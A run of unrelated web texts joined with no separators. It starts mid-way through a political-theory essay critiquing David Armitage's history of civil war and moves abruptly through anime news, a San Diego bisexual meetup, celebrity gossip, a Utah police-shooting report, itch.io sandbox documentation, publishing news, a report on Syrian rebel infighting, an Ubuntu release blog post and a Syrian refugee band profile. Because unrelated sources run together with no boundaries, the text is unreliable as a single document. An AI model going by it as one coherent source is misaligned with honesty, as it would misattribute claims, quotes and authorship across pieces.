While this solution satisfactorily brings to the fore the humanizing/dehumanizing or politicizing/depoliticizing relation that lies at the empty core of Western politics, it still doesn’t escape the other problem associated with the revolutionary tradition: the fact that it absorbs the asymmetrical parties — the various différends — and gradients of a conflict and represents them in a simple binary (revolutionaries vs. the old order). While we can’t speak about the intricacies of the Haitian Revolution, it seems clear to us, even on the surface, that the events were not as simple as the term “revolution” tends to imply. This is largely a problem of the function of words: it is simply too easy for us to imagine that the “revolution” represented all those whom we see now in hindsight as “revolutionaries” and, in this way, to lose sight of the asymmetries and conflicts that existed among them. In the process, we lose valuable lessons and tend to oversimplify our present circumstances, overstating the binary conflicts we can extract from situations.
IV.
Armitage’s arguments hinge on the theses that the Greek and Roman concepts are fundamentally different, and, further, that we stand firmly in the Roman tradition. He justifies his distinction in four tightly interrelated points: 1. The question of forms of belonging. Stasis represented those conflicts that occurred between those considered “Greek,” and thus concerns a hereditary or even ethnic form of conflict, whereas bellum civile concerned war between citizens in the political sense. 2. The question of the “space” of civil war. The Greeks organized politics according to a fundamental division between the household, oikos — where the house-holding men organized their property (including slaves, wives, and children) in the most economical way possible — and the city, polis — where the worthy, economical men would meet and decide on the shape and future of their union. Stasis was a “war between households” in Armitage’s eyes and thus not a political war, while the Romans imagined it as two actually political groups vying for control of the state. This also includes the problem of scale. The Greek city-states were simply too small, and their notion of citizenship too limited, to imagine the kind of macro conflicts we associate with a civil war. 3. The question of militarization. The Greek stasis represented in large part a “state-of-mind” as opposed to an actual war between armed parties. He cites Thucydides here who emphasizes the moral decay of intracity conflict over any actual fighting. Calling the Greek “stasis” a “civil war” seems misguided in this light, because it remains a question whether it was a “war” at all if it did not require that military standards be raised and arms be leveled against the enemy. 4. The question of its entrenchment in politics/history. This is the most subtle point of distinction. The Greeks imagined their forms of politics and belonging as a body, with many of the biological metaphors that come with that representation. Stasis, for them, was like a disease in the body, and one that they could structurally not do away with. The Romans, on the other hand, tended to view bellum civile as a curse haunting history.
His first point that stasis is “hereditary” while civil war is “political” is contradicted by the most historically well-known passage on stasis, and one which Armitage himself quotes from: Thucydides’ third book in The History of the Peloponnesian War. The stasis he describes there is one in which a colonized people, the people of Corcyra, exploit the chaotic circumstances of the war between the two great colonial powers Athens and Sparta. In this section, women and slaves throw stones, and the women speak for the first and only time in Thucydides’ entire history. In the West, to be capable of speech is historically the prerequisite to being a political subject. The Greek paradigm of civil war, stasis, occurs along political lines, and concerns the question “who is capable of living a political life?”
This undermines Armitage’s first two lines of distinction at once: not only does the image of the woman or slave becoming political agent through effective action not concern who is Greek and who isn’t, it also clearly demonstrates that the Greek version of civil war is not merely between householders, but complicates the distinction between who runs the house (and is thus “political”) and who gets ruled (or is merely “domestic”). This relation is part of all the civil wars Armitage later describes as paradigmatic of his Latinized concept, but most clearly for us in the American Revolution and American Civil War, when, as Mill put it, what was at stake was millions of enslaved people who were “human beings, entitled to human rights.” [10] Armitage quoted Mill there without grasping the fact that it was within civil war that these peoples’ humanity was at stake, and that it was through the conflicts themselves (slaves joining the British or rebelling during the American Revolution; slaves fighting for their freedom or escaping during the Civil War; or native tribes using the war as an opportunity to rebel on their own terms), and not on account of a legitimate legal process, that their status as people would be decided. Instead, he sees all this as a “by-product” of the real content of civil war: civilized men fighting with weapons.
Armitage seems to think that civil war must include “real” fighting, i.e. bloodshed, death, guns, and military regalia. Appian and Lucan are his poets of choice when it comes to the images that accompany civil war. Appian, like Armitage, makes the distinction between civil disturbance and civil war, writing that a civil war took place when “Open revolts took place against the republic and large armies were led with violence against their native land. . . They attacked it as if it were an enemy city.” [11] Appian’s influence on later war theoreticians is indisputable, but, this choice similarly betrays his prejudice. Armitage only looks for his imagery in the sphere he already proclaimed to be the special terrain of civil war: bloodshed, and binary acts of violence committed by militarized bodies. He only looks for his evidence in authors who write about military conflicts.
He maintains this false distinction for the period between the Roman Republic and the late 20th century, when he suddenly admits of a “civil war of words,” wherein it could be said that the words one chooses to use to describe a conflict could be said to be part of the conflict itself (e.g. with Libya and the UN above). He even calls to mind multiple other forms of civil or internal conflict that don’t necessarily include violence, namely, in addition to stasis, the Chinese nei zhan, and the Arabic fitna, saying nothing about the former, but adding that the latter can mean discord, temptation, anarchy, civil strife, or division, before excluding any further consideration of either due to their “obscurity.” Armitage is not ignorant to the fact that war or strife need not be the internecine catastrophe marked by physical force, swords, guns, or killing. If he had chosen a broader, less militaristic notion, perhaps he would have included passages using war language in novels of the infidelity of wives (the civil war of the family and lovers), in memoirs of mental illness (the civil war of the mind set against parts of itself), in histories of religious heresies (the civil wars of Christianity, Judaism, Islam), in fearful letters written between slaveowners worried about an uprising (the civil war concerning the humanity of slaves). For Armitage, these can only be metaphors derived from Caesars heroic battles, but, if civil war originally means conflict, strife, division, or discord, then we can unproblematically proclaim that these are civil wars in the original sense, and the armies duking it out in the city are in this light an appropriation of civil war, merely one possibility among many. But the colonial, civilized mindset is lacking creativity; because the colonizer achieved his goals through spilling blood and enslaving his enemies, he cannot see that his generalized aggression and hostility towards living things represents one way of living in the world and handling conflict among others.
Finally, there is the question of whether civil war is a disease or a curse. Stasis was very clearly thought of as a “disease,” while bellum civile was, at least in the Roman literature, referred to as the “curse” of civilization. In fact, stasis was another word for disease, and still persists in medical terminology to this day meaning “a stoppage of circulation” in phrases like “stasis of the blood” or in classifications like “stasis ulcer.” Stasis was thought of as an internal, inherent process to politics where elements (slaves, for example) cease to operate correctly and the circulation of power is blocked. And there was no cure for this disease, only medication and management. The curse, on the other hand, can return and strike at any moment, disrupting the day-by-day routine and setting brother against brother. They likened this curse to a natural disaster as in the poems of Tacitus (“The history on which I am entering is full of disasters”) or Florus (“The rage of Caesar and Pompey, like a flood or a fire, overran the city”). This moves the event outside and represents it as a force that strikes the otherwise perfect city; it reproduces a strong City/Nature or Civilized/Non-civilized binary. This is clear in the descriptions by Horace, who bemoans the fact that “harsh Fate . . . drives the Romans, and the crime of fratricide since Remus’s blameless lifeblood poured upon the ground— a curse to generations yet unborn.” It is Fate, that cruel god, who enters from the divine Supernatural Realm to set us against our brothers.
Though it seems small, there is a world of difference between the representation of strife as an outside curse and as an internal disease. The first performs a closing off of the boundaries of civilization by announcing that the only thing that can threaten its identity comes from outside. The curse reinforces the solidity of the political union being cursed, because it assumes that the union is real, and internally peaceful, i.e. operational. The incurable disease, however, posits the imperfection of the body in question, and points to the process of its own establishing as the cause of its recurring trauma. The disease places the body in question, opens it up to the outside, and denies any possibility of total health or prevention. Normative politics, in this light, is the permanent medicalization of the diseased body. The Romans did in fact think of civil war as a curse, but Armitage is incorrect in assuming that this representation won out over the idea of the internal disease, and it suffices to point to a number of quotations he himself included to demonstrate this. In every section of his book past the beginning on the Romans, he quoted political theoreticians referring to civil war as a “disease:” in the 17th century, Whitney calls civil war an “intestine strife,” and Hobbes similarly refers to them as “Intestine Broils,” while De Mably, nearly 200 years later, assures the reader that “civil war is sometimes a great good” because it can provide the impetus to remove the diseased limbs of the body politic as a surgeon would remove the diseased limbs of the individual’s body.
Given that Armitage’s Latinized “civil war” cannot be so cleanly distinguished from the more complicated stasis, one must conclude that his preference was an attempt to “civilize” the term, to reel it in away from the dark borders of civilization and settle it as an accidental conflict between brothers. He says as much himself in the most revealing sentence of his book: “Alas, the treatment of non-European peoples became quite another matter; a toxic by-product of this effort was the opening gap between those who were to be dealt with humanely and those who were not, the latter not even considered human.” [12] What for him is merely a “toxic by-product” of the effort to “civilize” conflict is for us the whole core of the problem of “civil war.” It is precisely his militaristic, civilized, presentation that allows him to exclude the horrifying possibility that perhaps the mechanism with which Western civilization establishes its own authority and legitimacy is broken, and never actually worked; that, in fact, the West has only violence, forgetting, lies, and negativity at its disposal for convincing itself it truly is “civilized” and its outside “barbarous;” that “civilized” stands for nothing other than a deep emptiness and a hopeless struggle to climb out of it, all the while naively believing in one’s own eternal superiority.
V.
There are and will be those who have questioned why one would spend so much time with Greek and Roman concepts to begin with, and seemingly arguing for one’s conceptual priority over the other. Why look to these slaveowners for anything at all, especially tools for understanding our world? One response would be to point out that we who borrow from the Western political lineage uncritically appropriate concepts from that tradition without paying much attention to where the concepts came from and how they’ve been used. The most common term, in our experience, is “democracy,” which has undergone many ironic twists and metamorphosed from a favorite term of slaveowners to being a core concept in the political lexicon of the marginalized. The same has happened with “humanity,” “citizenship,” “rights” and others. More importantly, “civil war” has a special status in that it has always been a problem at a much deeper level than any of the others. It’s fair to say it’s the most contested term in our political lexicon. Possibilities lie dormant in this fact. If there is something that the West wants to avoid in the term, maybe that’s because there is something dangerous in it. We could ask activists, radicals, and dissidents at this point: why do you give such credence to those concepts the preeminent political theorists of the West have happily fostered, and dismiss those they clearly perceive as unruly and threatening?
A second response could be that paradoxical formulations are necessary for a non-totalizing politics. Because a paradoxical formulation cannot be satisfactorily completed, it can prevent its user from elevating one or another subjectivity as the paradigmatic political or revolutionary subject. It forces its user to stay firmly situated in the process of politicization and its effects. We found “civil war” to be one such formulation. However, we did not fully account for the power of psychic investment in the representations of seemingly familiar words. This is the only thing that can explain the fact that, even after giving an account of the tumultuous history of the word, and clearly indicating that it does not essentially concern physical force, one could still hold onto simple images of bloodshed, guns, and infighting. We don’t have a satisfactory answer to this problem. One could, as we tried to, intentionally apply the term to situations where it sounds dissonant and ill-fitted. In our talk in Washington, we talked primarily about small, interpersonal conflicts as a paradigm of civil war. The risk here is that this usage can be interpreted as a metaphor or allegory, as opposed to the primary concept itself, so that one hears merely “our conflict with each other is like a civil war, but without all the guns and bloodshed.” One person present at our talk later said that one of their greatest fears was the possibility of “civil war.” The danger of a militarization of the representation of struggle or an aggressive understanding of conflict —of the prioritization of physical damage over the usage of words or the construction of space— looms large here.
Alternatively, one could adopt a foreign word like stasis. Very few people have the same psychic or libidinal investments in stasis, which on the surface makes this solution attractive, but, on the other hand, even if one were to explain the structural connection to words like “state” or its continued use in medical formulations like “stasis of the blood,” one would still have a hard time demonstrating the stakes involved in the concept. The solution we — at the time of this writing — propose is simply to add a prefix to the already familiar term “civil war” making it simultaneously familiar and unfamiliar: “uncivil war.” [13] Uncivil war centers the decentering mechanism of civil war, making the inessential marginalia the problematic essence of the civilizing process.
What does civil war, or uncivil war, still have to offer us? The whole purpose of the book, and of discussing shared political concepts, is to problematize the way we think with our concepts, in a passive way. One doesn’t bring up the term “democracy” every time they decide to undertake a political project with others, but it informs the way they go about acting within that project. In the back of their mind, they see and act out the classic images of democracy, whether in its direct or representative form, and measure their activities against these primordial ideas. It’s the tendency to produce collective safety nets and existential securities we intended to challenge. It seems we are incapable of eradicating these images completely, so instead we tried to construct a tripping machine. Just as the political images form and begin to run along, our machine trips them so that they land on their faces.
Uncivil war is not a thing, not resolvable, and has no existence. It is enough for us to attack ourselves at the foundation, to take our leave, and begin. But begin what?
Footnotes
[1] This isn’t the royal “we,” nor a number of personalities, but the split up, schizophrenic “we” that expresses our incompleteness, and an expression that nothing “we” do is a result of an individual acting in the world, but of multiplicities plugged into a certain frequency.
[2] We are truly horrible at summaries and descriptions. Just look at what we wrote up for the blurb for The Savage Peace.
[3] As opposed to the one we used to think about civil war, The Divided City by Nicole Loraux, which more or less centers on this gesture.
[4] Armitage, David. Civil Wars: A History in Ideas. Pg. 8.
[5] Ibid. Pg. 8
[6] Ibid. Pg. 44
[7] This is from the account of Thucydides, who recorded in a few pages the events of the riots in Corcyra in Book 3 of The History of the Peloponnesian War.
[8] Owens, Patricia. “Decolonizing Civil War.” Pg. 3
[9] Ibid Pg. 5
[10] Armitage, David. Civil Wars. A History in Ideas. Pg. 174
[11] Ibid. Pg. 49
[12] Ibid. Pg. 171
The next stretch of Reki Kawahara's original novels features fictional massively multiplayer online game Gun Gale Online, which focuses on firearms, but also features knifes and lightsaber-like weapons.
Gun Gale Online character Sinon, voiced by Miyuki Sawashiro in the PSP and Vita games, along with a drama CD, also made a cameo at the end of extra edition. Director Tomohiko Ito notes that Sawashiro was cast based on series author Reki Kawahara's comments about the character's intense emotions. Ito explains the that the anime aims to the capture the trauma of the character's past without making it gratuitous.
For Kirito's part, they wanted to get some sense of the effect that the 4,000 deaths in Sword Art Online had on the character, as well as paying attention to adapting novel illustrator abec's take on his GGO avatar's particular figure.
A lot of thought was also given to how to handle the gunplay mechanics. This even entailed a staff research trip to Guam.
In other SAO doings, the first volume of Kiseki Himura's Sword Art Online: Progressive manga, retelling the Aincrad Arc, is out in Japan today with a bonus swimsuit Asuna.
via Yaraon otakomu and ikari_gendo
CORRECTION: Scheduling for Sword Art Online II has not been announced beyond a 2014 timeframe.
With all that’s going on around the country with RFRA laws and other bills that marginalize LGBT people, it’s nice to know that San Diego is a diverse and accepting city. However, the bisexual community doesn’t appear to have a place to call their own.
Slade told SDGLN that he created the event through the social gathering app Meetups because the community was in need of a forum where bisexuals-plus can, “get together and be positive about their sexuality.”
Over several years of attending social gatherings there was one thing he kept hearing over and over again, "I wish there was a 'Bi Bar' where you could go and be social and just be, without having to worry about being called strange for checking out both boys and girls."
He says creating the Bi Bar gathering was a great way to address this void in the San Diego LGBT community.
“Many bi-plus individuals, especially those who do not know any other openly bi-plus individuals, feel burdened and ashamed to be themselves, even with their spouses/life partners,” he said. “It is my hope that Bi Bar members feel good about being bi-plus, and that they can have fun interacting with other bi-plus people. I feel that the fun thing is really, really important to the concept of Bi Bar.”
Bi Bar is not a physical place, rather it is a monthly social gathering in which members decide where to go for an evening at various San Diego venues. They are 100-percent accepting of however you choose to self-identify; Slade says they don’t use labels.
“We also strive to be trans, poly, kink, disability friendly, size-accepting, and culturally diverse,” he adds.
Anyone can join Bi Bar as long as they are 18 or over. The people Slade feels will get the best experience out of the event are bisexual, pansexual and fluid people.
Monosexuals, those who self-identify as gay or straight, can also join as long as they understand the non-judgmental nature of the members.
Meetings are generally once a month, but there are times when the group gathers more than that for special events such as excursions to the Diversionary Theatre, the FilmOut LGBT Film Festival, the Pride parade, or gaming at Tabletop Commons.
Congregation spots have included Hillcrest Brewing Company, Red House Pizza, and the Living Room.
Slade says the meetups are purely free-form, “We usually sit around a table, order drinks and food, and then generally schmooze. We discuss whatever's on our minds, or how it is to navigate life as bi, pan, fluid people, or ‘who's hot and who's not’ irrespective of their genders,” he said. “Often we get Bi Bar attendees who have never been in a group of people like themselves, and in this space they can be open about being attracted to males and/or females and/or trans-people - with no judgment and no repercussions.”
It’s free to join the Bi Bar group, you simply need to sign up at the Meetups site. Slade says the group has little-to-no expectations for new members other than that they must be respectful to the diversity of the party.
“We ask that people show up when they RSVP,” Slade explains, “that they tip well when they pay for their food and drink, and that they be tolerant and respectful of everyone else who attends. Just be grown folks with open minds.”
The next event will be held at Red Wing Bar and Grill in North Park on April, 15.
76ers' Ben Simmons Hits L.A. Nightclub Before Lakers Game
EXCLUSIVE
Here's Ben Simmons trying to level the playing field for the Lakers -- hitting a Hollywood nightclub hours before taking the court at Staples ... and TMZ Sports has video.
The 21-year-old 76ers superstar had dined at Catch LA restaurant late Tuesday evening and left around 1:10 AM on Wednesday morning. He ended up at 1 Oak ... one of the top nightclubs in L.A.
Here's the deal ... Philadelphia takes on the Lakers at 7:30 PM on Wednesday -- so, nightclubbing the morning of the game could be a tricky situation.
But Philly's on fire right now ... playing out of their minds (just ask the Clippers) -- and maybe Ben thinks nothing in L.A. can stop him, not even L.A. thots.
This has happened before ... the Milwaukee Bucks partied at an L.A. strip club before playing the Lakers in 2015 ... but L.A was much more terrible back then. Oh, and Milwaukee lost that game.
SALT LAKE CITY -- A mother is demanding that a Unified Police Detective be fired after he shot her son during a pursuit last October.
The organization Utah Against Police Brutality gathered outside the Salt Lake County Building Saturday. Standing alongside them was Damian Huth and his family.
It was back in October that the 20-year-old was shot in the arm while hopping a fence in Kearns, trying to escape Unified Police Detective Cordell Whitmore following a traffic stop. Huth had an active warrant for his arrest at the time.
“The doctor told me if the bullet had been one inch in any other direction, he would have not have survived,” said his mother, Mary Huth.
Huth says she’s not against police officers, in fact, she said her father was a police officer. But she says there are a small handful that don’t deserve to wear the uniform.
“The officer should have been charged, and at the very minimum he needs be fired,” Huth said.
Whitmore testified that he blacked-out as Huth was fleeing and doesn’t remember how exactly he shot him.
“He’s dangerous, I mean, we can’t have people running around with guns who black out,” Huth said. “I don’t think there is anyone on the planet that would believe that’s the truth, and I don’t understand how Sim Gill could have believed that was the truth.”
In March, District Attorney Sim Gill ruled that the shooting was not justified but declined to press charges, saying he believed the shooting was accidental.
“I don’t believe his story; I think that he pointed the gun at my son and pulled the trigger,” Huth said.
Damian Huth continues to recover from his injuries and now has a metal plate in his arm, while Whitmore remains a member of the Unified Police Department for now.
UPD released this statement.
“Unfortunately, we cannot comment on the Huth incident specifically, because it is still under internal investigation… We also take these issues very seriously and are willing and anxious to answer any question or concerns about the Whitmore incident… The time and place to do so is not at a public rally.”
On Linux, the itch app uses firejail to sandbox applications.
It's similar to macOS's sandbox-exec : applies a simple policy file, based on seccomp-bpf, will work on any Linux kernel >3.x, doesn't rely on SELinux/AppArmor
Instead of running as a different user, firejail intercepts syscalls and even has advanced functionality like exposing a virtual filesystem so that changes can be recorded and later committed or discarded (this way,
the sandboxed application won't fail, the worst case scenario is: some things won't persist across app restarts).
One-time setup
Due to the way firejail works, its binary needs to be SUID root - which means that, when executed by any user, it'll be as if it was run by root. Sandboxed applications however do NOT have root privilege.
That's why the itch.io app asks you for a password. To set the SUID bit on the firejail binary.
Feel free to vet the code responsible for making binaries executables and SUID root if needed.
Troubleshooting
If your game is broken by the itch.io sandbox on Linux, we recommend taking a look at the app's output when launching a game. Simply exit the itch app, and start it again from a terminal, using the itch command.
firejail should print a message whenever a permission is denied, which should help you pinpoint what it is that your game is doing that isn't allowed by the sandbox.
To review the policy the itch.io app is applying to your game, open the .itch/isolate-app.profile placed in the game's install folder.
The default sandbox policy should be more than enough to get most games running, but if you run into an issue that you need help resolving, feel free to open an issue on our Issue Tracker
Frequently Asked Questions
Have you heard of (other sandbox)? It seems more secure.
Why yes! Yes we have! And when it'll do everything we need it to do, we'll switch to it.1
Even with such dizzying advances, publishers can still make a profit through foreign rights deals that can add up to millions of dollars, as well as paperback and audiobook sales. Books by celebrities also get a lift whenever the author-star has a new TV show or film. And even when celebrity authors don’t earn out their advances, publishers still have a lot to gain from the burst of exposure and perceived clout.
Image Ms. Schumer Credit Emily Shur for The New York Times
“Even if you lose money in the short run, it helps your prestige,” the literary agent Russell Galen said. “If you are a big publisher, you need to show the flag, you need to make news, because it helps your entire list.”
Ms. Schumer’s advance could set a new threshold that publishers will feel pressured to match.
“For years now, every agent in town would use the Tina Fey advance as the benchmark for what their celebrity client was worth,” Mr. Morrison said in an email. “Now the bar is sitting atop Amy’s head. I can’t tell you how frustrating those conversations will be for us all.”
Ms. Schumer’s agreement with HarperCollins was shaky from the start, according to several people familiar with the deal and the way it unraveled.
The courtship began in 2012 when Mr. Hirshey, who had seen Ms. Schumer’s standup act and was impressed, offered her about $500,000 for a book. She accepted and said she wanted to write personal essays. But as months went by and Ms. Schumer still hadn’t signed the contract, people at HarperCollins started to worry. Then her raunchy and irreverent Comedy Central show, “Inside Amy Schumer,” debuted, and she was crowned as a fresh and sharp new voice in comedy.
The schism, which could have far-reaching effects, was deepened by a mistaken beheading.
As recently as early November, there was little daylight to be seen between rebel group Ahrar Al Sham—one of the largest and most powerful in Syria—and the two main Al Qaeda affiliates in Syria: Jabhat Al Nusra and the Islamic State of Iraq and Syria, or “ISIS.”
Ahrar Al Sham literally means “free men of Syria” or “liberals of Syria,” but the group’s members are actually ultra-conservative Salafis. As such, they share Al Qaeda’s desire for the restoration of an Islamic state and the rule of the shari’a—or their preferred version of it, at least—in Syria.
In other words, until quite recently the three rebel groups were almost indistinguishable. They routinely conducted joint operations and issued joint statements.
Then in mid-November, following a battle for control of a regime base in Aleppo, three ISIS fighters came upon an Ahrar Al Sham commander named Mohammed Fares—a.k.a. Abu Harroun—in a hospital, recuperating from wounds he suffered in the battle. According to several accounts, the ISIS fighters heard the still-anesthetized Fares calling on revered Shi’a religious figures Ali and Hussein.
On the basis of these incoherent cries, the ISIS fighters took Fares to be a foreign Shi’a militiaman who had been wounded fighting for the Syrian regime. Naturally, they then promptly beheaded him and displayed his head to a large crowd in Aleppo.
Members of Ahrar Al Sham almost immediately recognized the severed head of their missing commander in the viral video.
According to Yusuf Al Khatib, an Ahrar Al Sham officer in Idlib province, Ahrar’s overall commander Abu Abdullah Hamawi was incensed and sent an angry message to ISIS. “He threatened Abubakr Al Baghdadi [ISIS’ emir] to shift our focus from the regime to ISIS and to destroy them if they did not hand over the ones responsible for the murder of our brother Mohammed Fares,” Khatib told War is Boring.
“ISIS complied with our demands and delivered the criminals to us,” Al Khatib continued. When asked what would be done with the ISIS fighters who had beheaded Fares, Khatib smirked. “An eye for an eye and a tooth for a tooth,” he said. His clear implication was that the perpetrators themselves had been beheaded.
Al Khatib went on to clarify that, for now, the handing over of those responsible for Fares’s beheading had ameliorated official tensions between ISIS and Ahrar Al Sham. Still, he did not hesitate to voice his own unvarnished opinion of ISIS. “They are agents of the [Bashar Al] Assad regime,” he said, echoing a commonly held view among secular Syrian rebels.
“Why do you think they wear masks and accomplish the goals of the regime by spreading infighting among the revolutionaries,” he asked rhetorically.
Al Khatib’s views were seconded by 23-year-old Ahrar Al Sham fighter “Abu Ibrahim” from Aleppo, who declined to give his real name because he was not authorized to speak to journalists about such a sensitive matter. “ISIS spends all their time fighting with the mujahideen and committing crimes against the ordinary people. By God, they are not from us, they are from the regime,” he said.
Abu Ibrahim, who was in Turkey recovering from a bullet through the arm, went on to predict open warfare between ISIS and other rebel groups if and when the Syrian regime falls.
Perhaps partly as a result of the growing animosity toward ISIS within Ahrar’s ranks, the organization was a surprise signatory to the recent Saudi-backed effort to unify the non-Al Qaeda Islamist rebels under one chain of command.
The Islamic Front, as it’s called, is the latest of a series of moves by Saudi Arabia to unite Syria’s biggest non-Al Qaeda Islamist brigades both to fight the regime more effectively and to marginalize and perhaps eventually to fight Al Qaeda. The move combines seven of the biggest Islamist brigades in Syria and probably comprises over half of all Syrian rebels. Their success in convincing Ahrar Al Sham to join the new unified command was a major coup for Saudi policy in Syria and significantly bolstered the new front’s numbers and power.
The official line from all parties however, is that the Islamic Front exists only to fight Assad, has nothing to do with attempts to marginalize Al Qaeda and isn’t supported by the Sauds or any other outside actors—ridiculous assertions all around.
Likewise, the official position from Ahrar Al-Sham remains, as ever with rebel groups, that no conflicts exist between it and ISIS or any other rebel group.
Al Nusra fighter in northern Syria. David Axe photo
For example, Ahrar Al Sham battalion commander Reyad Al Mosa from southern Idlib province claimed that the decision to join the Islamic Front had nothing to do with ISIS and repeatedly referred to ISIS as “our brothers” in a relatively brief conversation on the subject. “The Islamic Front was formed to allow us, God willing, to achieve victory more effectively against the Assad regime and the Iranian dogs supporting them,” he said.
Rebel groups propagate this line to avoid escalating tensions with other rebels at a time when they’re being hammered by the Syrian regime and can scarcely afford to open another front. They also take this line with the media to placate public opinion in Syria, which is overwhelmingly opposed to any infighting between rebel groups for any reason whatsoever and instead wants rebel groups to focus on fighting the regime.
The killing of Fares, a well-known and popular commander, coupled with ISIS’s general habit of provocations and fighting with other rebel groups, seems to have driven Ahrar into the arms of the Islamic Front and out of the Al Qaeda orbit.
Given Ahrar Al Sham’s size and its status as one of the most powerful and widely respected rebel groups in Syria, its tilt away from Al Qaeda is hugely significant. Likewise, the virulently anti-ISIS opinions of many of its fighters may well presage open fighting between the groups in the future.
Here we are, just a matter of weeks away from the Ubuntu 12.04 release on 26th April 2012, and what a cycle it has been.
Ubuntu 12.04 is a release that has been talked about within the Ubuntu community for quite some time. It marks our next Long Term Support (LTS) release, an important milestone for Ubuntu deployment in business, education and elsewhere, and an important checkpoint in delivering precision and quality in Ubuntu.
Unlike previous LTS releases, Ubuntu 12.04 had a different history leading to it. In it’s preceding releases we had brought Unity in as the default desktop shell, and there had been some consternation about the design and quality of Unity and other elements of Ubuntu. Some of this criticism was deserved, and some was not. Throughout the 11.04 and 11.10 releases we were trying to get a balance in something that has always challenged software; the balance of innovation and quality.
While Unity was a disruptive technology, I believe it was important for the future of Ubuntu. The introduction of Unity was not just a new software component, it was an evolution of of the Ubuntu ethos: Linux For Human Beings.
Eyes On The Prize
I see a lot of talk in our wider community about Free Software and the various ethical opinions of it. I am sure you folks have seen the discussions too, debating the freeness of this license verses that one, the freeness of Ubuntu One, the freeness of various kernel components, where Ubuntu stacks up compared to other distributions in terms of these software freedoms and more. There are then the debates about what being a good Free Software citizen means, whether we refer to ‘Linux’ enough on our website, how much upstream development Canonical contributes, whether we work on existing upstreams, and the rationale around why we would dare to challenge the norm with such contributions as Unity.
These are all valuable debates, and if Linux and Free Software is your hobby they can be an entertaining way to spend an evening.
This is how I like to spend an evening.
Speaking personally, I think these debates sometimes dwell too much on which nuts and bolts we are using rather than how we build a more effective machine. They are important and valuable discussions, and they often do improve the Free Software machine, but sometimes they get a little too introspective and shoe-gazey. What really interests me and what was my primary attraction to Free Software when I first got involved in 1998 is how a collaborative community and Free Software can break down the digital divide and open up technology for everyone.
I think we would all agree that this is an important goal, but for this to happen our technology needs to be usable and accessible to all. Many of the core Ubuntu values speak to this; Ubuntu available freely, in your language, and available to all users regardless of disability. We don’t make technology accessible to all by just making great software though. We need to create great and memorable experiences that empower our users.
Traditionally the Free Software development model has been succinctly described as scratching your own itch. This approach works well: if you have the technical chops and want to see your computer work in a certain way to meet your needs, you can get the Free Software code and adjust it to work for you and deliver your requirements. If you then contribute your work to others, everyone benefits. Winner.
Sometimes the fruits of my sharing are not really worth sharing.
The challenge with the scratch your own itch philosophy is that it can sometimes produce fairly one-dimensional software that purely meets the needs of those who created it. As a part-time developer myself, I always start out writing programs that meet my own needs. As my programs mature though, the greatest improvements in my software has been when others have challenged the presumptions that I made as I created the software to meet my own needs. It helps my software grow, be more accessible, and more interesting to people not like me, and that is tremendously rewarding.
When Ubuntu was founded, one of it’s core principles was to build something that just works. As a vision, I believe that the introduction of the various Unity components, the messaging menu, notify-osd, application indicators etc, continued this philosophy. The goal was to build a simple, easy to use, elegant, Free Software Operating System that continues the evolution of Linux For Human Beings.
Of course, while the vision and design was evolving, there was both a technical and cultural chasm that we needed to cross. From a technical perspective Unity suffered from various quality issues; first performance, then stability, and finally rubbing off the rough edges in the design. From a cultural perspective the move to Unity was controversial. While it excited many, it also alienated some members of our community who felt uncomfortable with Ubuntu heading in this direction. I place no judgment or criticism at the feet of any of these folks; everyone has their own Free Software vision and story to tell, and we can’t please all the people all the time. I am confident we are now over the most challenging aspects of this cultural adjustment.
Ubuntu 12.04
Now this brings us to 12.04. Before this cycle kicked off we started making significant plans around meeting our quality responsibilities. Together we restructured QA in the Ubuntu Engineering team in Canonical, hired Nick Skaggs to grow our QA community, put in place acceptance criteria, built automated testing farms, developed manual testing plans for different milestones, and various other efforts. I believe that you can feel the quality in 12.04 far more than in the last few releases, and we are not finished yet. 12.10 is going to see more and more focus on quality and to ensure Ubuntu delivers a rock solid experience.
Going back to 1998 when I first got involved in Free Software, I always dreamed of the potential of a Free Software experience that is simple and effective to use by everyone.
Me in 1998. Sorry.
Spin forward to 2012 and I believe that Ubuntu 12.04 is shaping up to be a solid contender in continuing to break down the digital divide and bring a stable, simple, effective, and powerful experience for everyone, whether you are Martin Pitt (Ubuntu super-hero) or Martin Bacon (my brother who doesn’t care about his computer, just the experiences it can deliver).
Of course, Ubuntu 12.04 is not perfect; nothing is. There will be some bugs, and there will be some things that won’t please some users. Despite some of these elements though I do feel it offers a wonderfully integrated, slick, and fun experience. Sometimes I think it is important to just take a step back and look at what we created.
…and we as a community really came together to create Ubuntu 12.04. Whether you fixed bugs in packages, created features, filed bugs, translated Ubuntu, contributed art and design input, supported our users on the Ubuntu Forums and Ask Ubuntu, wrote documentation for the features, contributed news to our various websites, introduced Ubuntu to members of your local community or anything else, you should feel as proud as I do about Ubuntu 12.04 and how it is shaping up.
The journey across the Mediterranean and Europe is bleak and painful for most refugees – but for 26-year-old Syrian musician Anas Maghrebi, it was fun. “It’s surreal to say that, but it was.”
Six reasons why Syrians are fleeing to Europe in increasing numbers Read more
War-torn Syria had been a “dead end” for musicians, says Maghrebi. After the protest against President Bashar al-Assad in 2011, the country had collapsed into bitter civil war. When the drummer of his original band, Rabea, was killed in 2012, it was clear there was little hope for artistic freedom. “Our friend was a peaceful activist; all of us at some point participated in the protests but he was the most serious one. He was helping, not just participating,” Maghrebi says. “These were some dark times for us, because the dream vanished away.”
In 2013 Maghrebi left Damascus for Lebanon, where he met up with other musicians to form Khebez Dawle, but as refugees they were unable to make a living there. In August this year, the four band members – Maghrebi, Muhammad Bazz, Hikmat Qassar and Bashar Darwish – realised they were going to have to make another push. They sold their instruments to pay smugglers $1,200 each and set out in a dinghy across the Mediterranean.
“We were told we’re lucky enough to get this dinghy with just 16 guys. It was fun though – complicated fun.”
When they landed on Lesbos, they handed out copies of their album to tourists on the beach. “Usually they see dinghies with hysterical looks, sad faces. Instead they saw happy faces, laughing, guys speaking English. We introduced ourselves as a band. Everybody was just shocked.”
A week after landing, while staying at a Croatian refugee centre, Khebez Dawle was asked to perform at a pro-refugee concert run by activists. The band then had a gig at a club in Zagreb, which has hosted bands such as Mogwai. They borrowed instruments, played to a full audience, and have since had invitations to play at concerts and festivals around Europe. “For us it was surreal enough that we were still wearing the clothes we were wearing during the trip. The whole thing was not planned, that’s the beauty of it.”
They may have succeeded in putting a different twist on the journey. But in other ways theirs is no different from the harrowing stories of other migrants’ long waits, ill treatment at borders and the feeling of loss of identity. Maghrebi remembers a long night walking, covered in mud to get to Croatia. They were caught at the border by Croatian police and held for more than 24 hours. “We tried to become friendly with the police, to show them we’re not monsters, not criminals – just normal people,” Maghrebi says.
With the band we have a responsibility to speak, to tell Europeans about the other Syrians who are not heard
